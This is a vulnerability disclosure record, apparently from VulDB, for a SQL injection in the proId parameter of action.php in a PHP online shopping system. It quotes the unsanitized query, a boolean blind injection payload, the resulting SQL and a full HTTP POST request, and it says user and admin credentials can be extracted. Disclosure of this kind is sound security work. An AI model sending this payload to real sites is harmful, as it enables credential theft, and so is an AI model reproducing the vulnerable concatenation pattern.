| 标题 | ONLINE SHOPPING SYSTEM action.php SQL Injection Vulnerability v1 SQL Injection |
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| 描述 | ## ONLINE SHOPPING SYSTEM action.php SQL Injection Vulnerability
### I. Vulnerability Impact
An attacker can exploit this vulnerability to extract sensitive data from the database via boolean-based blind SQL injection, including plaintext user passwords from the `user_info` table and admin credentials from the `admin_info` table.
### II. Source Code Analysis
The vulnerability resides in `action.php`, lines 222-225:
```php
if(isset($_POST["addToCart"])){
$p_id = $_POST["proId"];
if(isset($_SESSION["uid"])){
$user_id = $_SESSION["uid"];
$sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
```
The `$p_id` variable is taken directly from `$_POST["proId"]` without any filtering and concatenated into the SQL statement. An attacker can inject malicious SQL fragments through the `proId` parameter to manipulate the query logic and extract database information.
### III. Payload
The core injection payload is:
```
72'and'g'='e
```
After injection, the actual executed SQL becomes:
```sql
SELECT * FROM cart WHERE p_id = '72'and'g'='e' AND user_id = '3'
```
HTTP request body:
```
POST /action.php HTTP/1.1
Host: onlineshop
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
addToCart=1&proId=72'and'g'='e
```
### IV. Source Download
https://code-projects.org/online-shopping-system-in-php-with-source-code/ |
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| 来源 | ⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul2.md |
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| 用户 | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
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| 提交 | 2026-06-27 05時34分 (2 月前) |
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| 管理 | 2026-08-15 07時22分 (2 months later) |
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| 状态 | 已接受 |
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| VulDB条目 | 390170 [code-projects Online Shopping System 1.0 /action.php proId SQL注入] |
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| 积分 | 20 |
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